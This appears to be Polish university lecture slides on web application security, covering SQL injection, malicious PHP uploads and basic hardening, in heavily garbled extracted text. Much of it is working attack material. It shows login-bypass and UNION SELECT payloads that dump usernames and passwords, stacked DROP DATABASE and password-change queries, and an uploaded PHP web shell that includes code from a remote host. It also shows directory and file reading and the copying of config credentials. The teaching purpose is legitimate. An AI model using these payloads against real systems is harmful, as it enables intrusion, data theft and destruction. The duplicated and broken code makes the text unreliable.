Bezpieczeństwo aplikacji WWW Ataki na strony internetowe i bazy danych Wyłączamy prawy przycisk <BODY oncontextmenu = "return false"> </BODY> Blokada zaznaczania tekstu tylko IE Wyłączenie przedstawiania się Apache: httpd.conf - ServerSignature On/off Ustawienie na off - nie wyświetla informacji o wersji serwera <BODY onselectstart="return false" onselect="return false" oncopy="return false"> </BODY> Ustawiamy httpd.conf (dyrektywa <Directory "C:/Program Files/EasyPHP1-8/www"> Options None </Directory> Zachowanie serwera WWW Zachowanie serwera WWW 1
Zachowanie serwera WWW SQL injection Eksploatacja baz danych. Sposób pośredni - dowolny interfejs do bazy danych. Całość aplikacji składa się z trzech warstw: 1. Klient. 2. Warstwa pośrednicząca. 3. Baza danych. Zwykle dane do zapytania wpisujemy w odpowiednim okienku za pomocą interfejsu, a następnie są one przetwarzane przez warstwę pośredniczącą, która konstruuje z tych danych pełnoprawne zapytanie SQL i przesyła je do bazy danych. SQL injection polega na nieautoryzowanym wykonaniu wyrażeń języka SQL. SQL injection to metoda ataku polegająca na dodaniu do zapytania wykonywanego przez warstwę pośredniczącą dodatkowego lub zmodyfikowanego zapytania SQL. Atak wykorzystuje wywołanie zapytania SQL w aplikacji, w której nie przetwarza się danych uzyskanych od użytkownika. Najczęściej polega na takim skonstruowaniu formuły SQL, by sprawdzanie wprowadzonych danych nie miało znaczenia. Zagrożenia SQL injection sposób wykonania W rezultacie może to prowadzić do: zdobycia danych, do których użytkownik nie jest uprawniony; zmodyfikowania danych, bądź dodania do bazy dodatkowych danych; obejścia mechanizmów opartych na pobieraniu danych z bazy (np. autoryzacji. Adres Formularz 2
Zagrożenia wynikające z użycia słowa kluczowego like Metoda get wpisanie loginu i hasła z paska adresu z użyciem słowa kluczowego like Oryginalne zapytanie w skrypcie php: select login from users where login like '$login' and haslo like '$haslo Jeżeli z paska adresu wpiszemy: http://localhost/test0a.php?login=admin&haslo =tajne Jeżeli z paska adresu wpiszemy: http://localhost/test0a.php?login=admin&haslo=% Przy założeniu, że nie znamy hasła. LOGOWANIE poprawne select login from users where login like admin and haslo like % Przy założeniu, że znamy poprawne dane. LOGOWANIE - poprawne Jeżeli nie znamy loginu ani hasła: http://localhost/test0a.php?login=%&haslo=% Logowanie na pierwszego użytkownika z bazy select login from users where login like % and haslo like % Rezygnacja z like. Login i haslo wprowadzane z paska adresu zmienne przesyłane metodą Get. "select login from users where login='$login' and haslo='$haslo'"; "select login from users where login='$login' and haslo='$haslo'"; Próba użycia symbolu % "select login from users where login='$login' /* to co należy wpisać jako zmienną login w pasku adresu: admin /* - pozostała część zapytania zostanie pomięta 3
Użycie formularza $zapytanie = "select login from users where login='$login' and haslo='$ ='$haslo'"; SQL injection filozofia działania Normalny przebieg logowania $query = "SELECT * FROM uzytkownicy WHERE uzytkownik = $uzytkownik administrator AND haslo = $haslo "; tajnehaslo "; $result = mysql_query( $query ; if( mysql_num_rows ( $result > 0 { //zaloguj użykownika else { //nie można zalogować administrator tajnehaslo SQL injection filozofia działania Logowanie z wykorzystaniem SQL injection $query = "SELECT * FROM uzytkownicy WHERE uzytkownik = '$uzytkownik' administrator /* AND haslo = '$haslo' "; "; $result = mysql_query( $query ; if( mysq_num_rows ( $result > 0 { //zaloguj użykownika else { //nie można zalogować administrator /* Przy wysyłaniu formularzy bądź pobieraniu zmiennych z adresu url wszystkie cudzysłowy zarówno pojedyncze jak i podwójne są zmieniane na \' lub \". Przyczyną takiego zachowania jest opcja magic_quotes_gpc ustawiona na On w php.ini. Stosuje się ją aby zabezpieczyć aplikację przed atakiem SQL Injection w razie, gdyby programista gdzieś zapomniał o przefiltrowaniu danych od użytkownika, które potem wykorzystywane są w zapytaniach SQL. Aby usunąć ze zmiennych POST czy GET niepotrzebne znaki backslash stosujemy funkcję stripslashes(. Usuwa ona znaki ucieczki '\'' z ciągu podanego jako argument. Gdy opcja magic_quotes_gpc w php.ini jest ustawiona na On to PHP automatycznie przepuszcza wszystkie zmienne z tablic superglobalnych takich jak POST czy GET przez funkcję addslashes(. Manipulacja stripslashes i addslashes. magic_quotes_gpc = On / Off Formularz zbudowany wewnątrz php z użyciem funkcji echo (znaki ucieczki. $username1 = stripslashes($login; $username2 = addslashes($login; SELECT * FROM users WHERE `username` = 'admin' /*' AND `password` = '' SELECT * FROM users WHERE `username` = 'inny' OR 1=1 /*' AND `password` = 4
Zapytanie zawsze prawdziwe ostatecznie pojawią się informacje o ostatnim użytkowniku SQL injection admin' /* SELECT * FROM users WHERE `username` = 'admin' /*' AND `password` = ' ' admin' OR 1=1 /* SELECT * FROM users WHERE `username` = 'inny' OR 1=1 /*' AND `password` = ' ' magic_quotes_gpc = Off/On, stripslashes Ataki SQL injection typu Nie ma takiego użytkownika UNION SELECT Unia pozwala na zsumowanie zbiorów krotek dwóch lub więcej relacji (bez powtórzeń - zgodnie z teorią mnogości. Warunkiem poprawności tej operacji jest zgodność liczby i typów atrybutów (kolumn sumowanych relacji. Przykład przedstawiony poniżej sumuje zbiory pracowników i właścicieli okrojone do imienia i nazwiska (za pomocą projekcji, w celu uzyskania informacji o wszystkich ludziach powiązanych z firmą SELECT imie, nazwisko FROM pracownicy UNION SELECT imie, nazwisko FROM wlasciciele ; W przypadku użycia UNION zostają wyświetlone wiersze zwracane przez składowe zapytania, przy czym zostają usunięte wiersze powtarzające się. Domyślną opcją dla Union jest distinct gdy chcemy pobrać wszystkie dane należy użyć opcji all. Operacje mnogościowe na wynikach zapytań Filmy id_filmu tytul rok_produkcji cena 1 Wesele 2004 10 2 Ghostbusters 1984 5.50 3 Terminator 1984 8.50 SELECT TYTUL FROM FILMY UNION SELECT NAZWISKO FROM KLIENCI; tytul -------------- Ghostbusters Kowalski Nowak Terminator Wesele (5 rows Klienci id_klienta imie nazwisko 1 Jan Kowalski 2 Anna Nowak UNION suma mnogościowa z eliminacją duplikatów UNION ALL suma mnogościowa bez eliminacji duplikatów 5
Cel pobranie hasła dla wybranego użytkownika "select login from users where id = $id limit 1"; id=1 and 1=0 union select haslo from users zapytanie zwraca hasło pierwszego użytkownika z bazy pierwsze zapytanie jest zawsze fałszywe i nie ma wpływu na zwracane dane. select login from users where id = 1 and 1=0 union select haslo from users limit 1. Jeżeli chcemy wyświetlić hasło dowolnego użytkownika z bazy należy wpisać select login from users where id = 1 and 1=0 union select haslo from users where id = 2 limit 1. Metodą obrony przed tego typu atakami może być użycie funkcji intval. Zamienia ona podany argument na liczbę: $id = intval($_get['id']; Z id=1 and 1=0 union select haslo from users robi się 0 lub 1 ((1 1 nie mamy poprawy sytuacji Cel pobranie wszystkich użytkowników z bazy wraz z ich hasłami select login from users where login like '$login $login%' %' limit 2 Wyświetla dwóch użytkowników z bazy danych jeżeli się nie poda nic to będzie to dwóch pierwszych, jeżeli się poda literę (wzorzec pierwszych dwóch spełniających kryteria. http://localhost/test4.php?login='1 and 1=2 union select login from users/* przed znakiem procenta pojawia się komentarz dalsza część skryptu nie jest brana pod uwagę http://localhost/test4.php?login=1 and 1=2 union select haslo from users/* Użycie funkcji concat łączy dwa atrybuty obchodzimy ograniczenie wynikające z pierwszego zapytania. Można pomiędzy loginem a haslem wstawić dwukropek char(58.?login=1' and 1=2 union select concat concat(login, (login, char(58, haslo haslo from users/* Czy można dodać do drugiej części zapytania login, haslo 6
Cel ataku - rozpoznawanie struktury tabeli Select login, coś_jeszcze... from users where login like '$login% Zapytanie, które się wykonuje oczywiście nigdy nie będzie widoczne dla użytkownika. Spróbujmy sobie je wyobrazić: select (określona jednak nieznana liczba kolumn from users where login = $login% oraz ewentualnie dalsza część Jeżeli w pierwszej części zapytania jest jeden atrybut zapytanie wykona się poprawnie, jeśli nie pojawi się błąd o niezgodności liczby kolumn w dwóch zapytaniach. Testujemy kolejno:?login=' and 1=2 union select 1,2,3,4 /* To zapytanie wykona się poprawnie wyświetli numer pozycji, na której jest login.?login=' and 1=2 union select 1,login,3,4 from users/* Czy da się określić liczbę kolumn w zapytaniu, czy da się wyłowić wszystkich użytkowników oraz ich hasła. Wyświetli wszystkich użytkowników z bazy. select (tego nie znamy from users where login = $login% zamiast zmiennej login wpisujemy:?login=' and 1=2 union select 1 /* Wyświetli wszystkich użytkowników z bazy oraz ich hasła.?login=1' and 1=2 union select 1,concat(login,char 1,concat( login,char(58, (58, haslo,3,4 haslo,3,4 from users/*?login=' and 1=2 union select 1,login,3,4 from users/* Wyświetli wszystkich użytkowników z bazy.?login=1' and 1=2 union select 1,concat(login, char(58, char(58,haslo haslo,3,4,3,4 from users/* Wyświetli wszystkich użytkowników z bazy oraz ich hasła. http://localhost/test4b.php?login=1'%20and%201=2%20union %20select%201,concat(login,%20char(58,%20haslo%20,3,4% 20from%20users/* Skrypt pobiera nazwę użytkownika (login i sprawdza czy istnieje on w bazie danych. Celem ataku jest poznanie hasła wybranego (istniejącego użytkownika. Nie można użyć jak poprzednio union select nie znamy nazw atrybutów skrypt wyświetla tylko login. Nie znamy treści zapytania możemy się jednak domyślać select from where login ='$login' Pola zakropkowane są nieznane, dane od użytkownika są wstawiane w miejsce $login: select from where login ='admin' ='admin' and haslo like '%' /* Nic się nie zmieniło mamy potwierdzenie, że użytkownik admin istnieje użycie % - nie sprawdza hasła. Teraz można zastosować metodę bruce force: select from where login ='admin' and haslo like 'a%' /* jeżeli poinformuje nas że użytkownik istnieje oznacza to że hasło rozpoczyna się na literę a, i tak aż do skutku, kolejne litery na koniec powinniśmy usunąć znak %. 7
Jak unikać SQL Injection 1. Analizowanie wejścia - wszystkie dane pochodzące z zewnątrz aplikacji powinny być filtrowane. Procedury powinny przepuszczać tylko te znaki/ciągi, które są dopuszczalne w danym kontekście. Szczególnie ważne jest wyszukiwanie słów kluczowych, takich jak SELECT. Znaków takich jak cudzysłów, apostrof czy podwójny myślnik. Oczyszczanie wczytanego ciągu znaków nie zawsze jest jednak rzeczą prostą, a przynajmniej czasami, może być uciążliwe (SQL jest językiem rozbudowanym, istotny jest również kontekst, w którym znaki zostają wczytane. 2. Zarządzanie komunikatami o błędach - zwykły użytkownik nie powinien otrzymywać komunikatów, mogących zdradzać szczegóły budowy bazy danych. Jak unikać SQL Injection 3. 4. Ograniczanie uprawnień użytkowników - przy nadawaniu uprawnień należy stosować zasadę najmniejszych przywilejów. W fazie projektowania należy zdefiniować najmniejszy zestaw informacji niezbędny do wykonania danego zadania. Szczególną uwagę należy zwrócić na prawa dostępu do wewnętrznych struktur bazy danych. Oddzielenie danych od kodu Unikanie dynamicznie generowanego kodu SQL jest najlepszym rozwiązaniem. Większość interfejsów baz danych zapewnia taką możliwość (parametry wiązane - PHP, parametry nazwane JDBC. Wyrażenie powinno najpierw zostać "przygotowane" i czekać w bazie na wyliczenie z podanym parametrem, który już nie może zostać pomylony z kodem. SQL injection - zagrożenia wyświetli wszystkich użytkowników a ; SELECT * FROM users; -- eksportuje listę użytkowników a ; SELECT users INTO OUTFILE '/tmp/result.txt' FROM users; -usunie systemową bazę danych a ; DROP DATABASE system; -- zmieni hasło administratora a ; UPDATE users SET password = aaa WHERE login = administrator ; -- Upload plików na witrynie WWW usuwa tabelę użytkowników a ; DROP TABLE users; -- zmieni hasło dostępu do bazy danych a ; ALTER USER dbowner IDENTIFIED BY NoweHaslo; -- 8
Założenia strona napisana w PHP z możliwością wgrywania własnych plików np. fora dyskusyjne, strony studenckie do wymiany materiałów dydaktycznych lub jeżeli posiadamy stronę WWW na atakowanym serwerze; Na stronę wgrywamy dowolny plik z rozszerzeniem.php php;; Plik zawiera tylko jedną instrukcję (np. plik.php plik.php: : <? phpinfo(; phpinfo (;?> W chwili jego wywołania wykona się funkcja. Przykład 2. <? if ($_SERVER['REMOTE_ADDR'] == 'adres' include('http://adres/test.???'; else echo ':';?> W chwili jego wywołania wykona się powyższa instrukcja (oczywiście można umieścić całość właściwego kodu bezpośrednio tu ale nie mamy możliwości swobodnego manipulowania zawartością; Dodatkowo zabezpieczamy się przed dostępem do naszego skryptu przez osoby trzecie. Ważne jest, aby plik dołączany z zewnątrz poprzez polecenie include include miał rozszerzenie inne niż.php.php,, po to, by nie został wykonany po stronie serwera, z którego ma być dołączany. Skoro można wykonać dowolny skrypt php z zewnętrznego adresu: // funkcja wyświetlająca prawa dostępu do pliku function showperms showperms($file ($file { $perms = fileperms fileperms($file; ($file; if (($ perms & 0xC000 == 0xC000 0xC000 $info = 's'; elseif (($ perms & 0xA000 == 0xA000 0xA000 $info = 'l'; elseif (($ perms & 0x8000 == 0x8000 0x8000 $info = ''-'; elseif (($ perms & 0x6000 == 0x6000 0x6000 $info = 'b'; elseif (($ perms & 0x4000 == 0x4000 0x4000 $info = 'd'; elseif (($ perms & 0x2000 == 0x2000 0x2000 $info = 'c'; elseif (($ perms & 0x1000 == 0x1000 0x1000 $info = 'p'; else $info = 'u'; & 0x0100? 'r 'r' : ''-'; $info $info & 0x0040? & 0x0800? & 0x0020? 'r 'r' : ''-'; & 0x0010? 'w' : ''-'; & 0x0008? & 0x0400? & 0x0004? 'r 'r' : ''-'; & 0x0002? 'w' : ''-'; & 0x0001? & 0x0200? echo $info $info; ; // funkcja listująca dany katalog wraz z prawami dostępu do plików (wykorzystuje powyższą funkcję showperms function showfiles showfiles($ ($dir dir { $handle = opendir opendir($dir; ($dir; echo "<table>"; while ($file = readdir readdir($handle ($handle { echo "<tr "<tr><td>".$file."</td><td>"; ><td>".$file."</td><td>"; showperms($ showperms ($dir.$file dir.$file; ; echo "</td></tr "</td></tr>"; >"; echo "</table>";.= & 0x0080? 'w' : ''-'; 's' : 'x' : & 0x0800?'S :' 0x0800?'S :'-'; 's' : 'x' : : & 0x0400?'S : ''-'; 't' : 'x' : : & 0x0200?'T : ''-'; 9
a Przykład użycia powyższych funkcji: //funkcja wyświetlająca plik function readf readf($ ($myfile myfile { $fh = fopen fopen($ ($myfile myfile,, 'r'; $thedata = fread fread($ ($fh fh,, filesize($ filesize ($myfile myfile; ; fclose($ fclose ($fh fh; ; echo $thedata $thedata; ; $path = './'; showfiles($path; Zmienną $path możemy zmieniać kolejno na: '../', '../../', '../../../' showfiles($ showfiles ($path path funkcja prezentująca pliki i ich atrybuty z katalogu bieżącego, w którym umieściliśmy plik.php.php.. Problematyka praw dostępu do plików i katalogów z poziomu WWW chamod.. chamod Upload plików na witrynie WWW Pierwszym celem jest możliwość penetracji katalogów i plików; <? $path = './'; $path = '../'; $path =../../'; showfiles($ showfiles ($path path; ; showfiles($ showfiles ($path path funkcja prezentująca pliki i ich atrybuty z katalogu bieżącego, w którym umieściliśmy plik.php.php.. Problematyka praw dostępu do plików i katalogów z poziomu WWW chamod chamod.. Każdy plik, do którego mamy prawo czytania, możemy wyświetlić przy pomocy funkcji readf. Każdy plik, do którego mamy prawo czytania, możemy wyświetlić przy pomocy funkcji readf. Jeśli znajdziemy w obrębie katalogu strony katalog z prawami dostępu 777, możemy do niego kopiować dowolne pliki, do których mamy prawo czytania, np. pliki strony z rozszerzeniem.php, plik /etc/passwd, a następnie możemy przeglądać te pliki z poziomu przeglądarki. Jeśli znajdziemy w obrębie katalogu strony katalog z prawami dostępu 777, możemy do niego kopiować dowolne pliki, do których mamy prawo czytania, np. pliki strony z rozszerzeniem.php, plik /etc/passwd, a następnie możemy przeglądać te pliki z poziomu przeglądarki. Jeśli dana strona korzysta z bazy danych, w plikach.php możemy odnaleźć funkcję odwołujące się do bazy danych wraz z loginem, hasłem i nazwą bazy. Stąd już krótka droga do poznania struktury bazy oraz przeczytania informacji w niej zapisanych. Jeśli dana strona korzysta z bazy danych, w plikach.php możemy odnaleźć funkcję odwołujące się do bazy danych wraz z loginem, hasłem i nazwą bazy. Stąd już krótka droga do poznania struktury bazy oraz przeczytania informacji w niej zapisanych. 10
Upload plików na witrynie WWW Źródło strony Alternatywna metoda pobranie interesujących nas plików (nie jesteśmy w stanie odczytać zawartości pików z rozszerzeniem.php.php wykonują się one po stronie serwera, a do przeglądarki zwracany jest tylko wynik nie odczytamy np. haseł dostępu do bazy. <? $dir = './'; copy($ copy ($dir.'config.php dir.'config.php', ', 'test.txt 'test.txt'; ';?> Mając login i hasło do bazy, można wykonać dowolne zapytanie sql sql;; function czytajbaze czytajbaze( ( { http://adres/test.txt $polacz=mysql_connect polacz=mysql_connect(" ("localhost localhost", ", "tajna", "tajne" or die("połączenie die ("Połączenie z baz. danych nie jest możliwe."; mysql_select_db(" mysql_select_db ("baza",$polacz baza",$polacz or die die("wystąpił ("Wystąpił błąd."; $zapytanie = "select "select * FROM users users"; "; $wykonaj = mysql_query mysql_query($zapytanie ($zapytanie or die die("wystąpił ("Wystąpił nieoczekiwany błąd."; while ($ ($rzad rzad = mysql_fetch_array mysql_fetch_array($wykonaj ($wykonaj { echo $rzad $rzad['login'].' ['login'].' <b>'.$rzad <b>'.$rzad[' ['haslo haslo'].'</ '].'</b><br b><br>'; >'; Mając login i hasło do bazy, można wykonać dowolne zapytanie sql sql;; function czytajbaze czytajbaze( ( { $polacz=mysql_connect polacz=mysql_connect(" ("localhost localhost", ", "tajna", "tajne" or die("połączenie die ("Połączenie z baz. danych nie jest możliwe."; Protokół TCP/IP nie posiada wbudowanych funkcji szyfrujących. mysql_select_db(" mysql_select_db ("baza",$polacz baza",$polacz or die die("wystąpił ("Wystąpił błąd."; $zapytanie = drop database dbsql dbsql"; "; Także HTTP, korzystający z TCP/IP nie zapewnia bezpieczeństwa danych. Wszystkie strony internetowe oraz dane są przesyłane w sposób jawny i narażone tym samym na śledzenie i przechwytywanie. W celu stworzenia bezpiecznego połączenia pomiędzy komputerami stosuje się protokół SSL, który zapewnia szyfrowanie na zadowalającym poziomie. Szyfrowanie przebiega z zastosowaniem klucza prywatnego i publicznego. 11
Przesyłanie danych z formularzy. Problematyka ukrywania kodu. Można je przesyłać na dwa sposoby. Jeśli potencjalny włamywacz nie wie co skrypt robi, jaka jest architektura naszej bazy danych, może tylko zgadywać. Poprzez post i get. Jeśli serwery WWW i PHP pracują prawidłowo nie ma możliwości podejrzenia kodu PHP strony poprzez stronę internetową. Co jednak gdy serwer PHP lub WWW będzie miał awarię? Jeśli serwer WWW nieprawidłowo zainstaluje PHP to może zamiast wykonania skryptu wyświetlić jego kod. Należy zatem zadbać by pliki zawierające login i hasło do bazy danych nie były dostępne z poziomu serwera WWW, a do skryptu dołączane poprzez funkcję include. <?php Odradza się stosowanie get ponieważ dane wysyłane tą metodą są jawnie dołączone do adresu URL. Np. po wysłaniu swojego hasła z formularza poprzez get wyświetli się adres: http://212.191.65.5/skrypt.php?mojehaslo=haslo Pobierane od użytkownika hasło poprzez formularz, należy zastosować opcję password password.. Aby zapewnić bezpieczeństwo skryptom należy zawsze inicjować zmienne oraz korzystać z tablic (register_globals register_globals: : include("../../../dane.php";?> $HTTP_COOKIE_VARS Tak dołączony plik nie będzie dostępny z poziomu adresu URL w przypadku nieprawidłowego działania serwera WWW lub PHP. $HTTP_POST_VARS HTTP_POST_VARS,, $_POST Można też do ochrony skryptu zastosować funkcję error_reporting(0. Przy takim ustawieniu nie zostanie wyświetlony żaden błąd w trakcie wykonania skryptu i potencjalny włamywacz nie pozna nazwy funkcji czy pliku jaki używamy. $HTTP_GET_VARS HTTP_GET_VARS,, $_GET a nie globalnych zmiennych. Zabezpieczymy się przed ingerencją włamywacza poprzez inicjowanie zmiennych dzięki adresowi URL. 12